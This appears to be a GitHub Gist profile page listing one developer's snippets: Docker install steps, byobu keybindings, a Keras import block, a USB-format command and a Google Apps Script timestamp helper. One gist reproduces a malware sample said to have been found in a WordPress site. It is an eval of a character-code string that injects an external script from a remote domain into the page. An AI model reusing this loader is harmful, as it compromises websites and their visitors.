Skip to content

Instantly share code, notes, and snippets.

💭
Machine Learning

Kota tkota0726

💭
Machine Learning
Block or report user

Report or block tkota0726

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View MyFirstNotebook.ipynb
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@tkota0726
tkota0726 / wordpress_malware.js
Created Jul 10, 2019
ワードプレスサイトに埋め込まれたウィルススクリプト
View wordpress_malware.js
<script type="text/javascript">eval(String.fromCharCode(118, 97, 114, 32, 115, 99, 114, 105, 112, 116, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 10, 115, 99, 114, 105, 112, 116, 46, 111, 110, 108, 111, 97, 100, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 125, 59, 10, 115, 99, 114, 105, 112, 116, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 121, 111, 117, 114, 115, 101, 114, 118, 105, 99, 101, 46, 108, 105, 118, 101, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 45, 109, 105, 110, 105, 46, 106, 115, 34, 59, 10, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 104, 101, 97, 100, 39, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 99, 114, 105, 112, 116, 41, 59));</script>
@tkota0726
tkota0726 / Docker_Installation_Centos7.md
Last active Jun 17, 2019
Instruction about how to install Docker in Centos7
View Docker_Installation_Centos7.md

How to install Docker on Centos7

I would like you to be enable to use Docker command in HPC. I looked at the instruction about how to install Docker in Centos7 and showed it as the following steps. I successfully installed these commands on my server followed by the steps.

Steps to install Docker and Docker compose

  • Docker

sudo yum install -y yum-utils device-mapper-persistent-data lvm2

sudo yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo

View gist:59cb783468c84b9bafd45ed28aa25e75
KEYBINDINGS
byobu keybindings can be user defined in /usr/share/byobu/keybindings/ (or within .screenrc if byobu-export was used). The common key bindings
are:
F2 - Create a new window
F3 - Move to previous window
F4 - Move to next window
View optuna_cifar_keras.py
import tensorflow as tf
from tensorflow.keras.applications import InceptionV3, VGG16, MobileNet
from tensorflow.keras.layers import GlobalAveragePooling2D, Dense
from tensorflow.keras.models import Model
from tensorflow.keras.callbacks import History, Callback
import tensorflow.keras.backend as K
from tensorflow.contrib.tpu.python.tpu import keras_support
from keras.utils import to_categorical
from keras.datasets import cifar10
View Report_Wind.ipynb
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@tkota0726
tkota0726 / diskiutil
Created Apr 24, 2018
USBフォーマットコマンド
View diskiutil
diskutil eraseDisk ExFAT KOTA /dev/disk2
@tkota0726
tkota0726 / InsertTime
Created Mar 17, 2018
GoogleAppScript_日付自動挿入スクリプト
View InsertTime
function insertLastUpdated() {
var ss = SpreadsheetApp.getActiveSheet();//現在触っているシートを取得
var currentRow = ss.getActiveCell().getRow(); //アクティブなセルの行番号を取得
var currentCell = ss.getActiveCell().getValue(); //アクティブなセルの入力値を取得
var updateRange = ss.getRange('A' + currentRow) //どの列に更新日時を挿入したいか。この場合はA列
Logger.log(updateRange);
//更新日の記入
if(currentRow>10){ //1行目を除くため
if(currentCell) {
updateRange.setValue(new Date());
View api_test.py
# -*- coding: utf-8 -
import json
import requests
import sys
import pprint
argv = sys.argv
# print(type(argv[1]))
base = "http://46.101.137.28:4000/api"
url = base + argv[1]
@tkota0726
tkota0726 / AboutTrig.ipynb
Created Feb 27, 2018
Note/AboutTrig.ipynb
View AboutTrig.ipynb
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
You can’t perform that action at this time.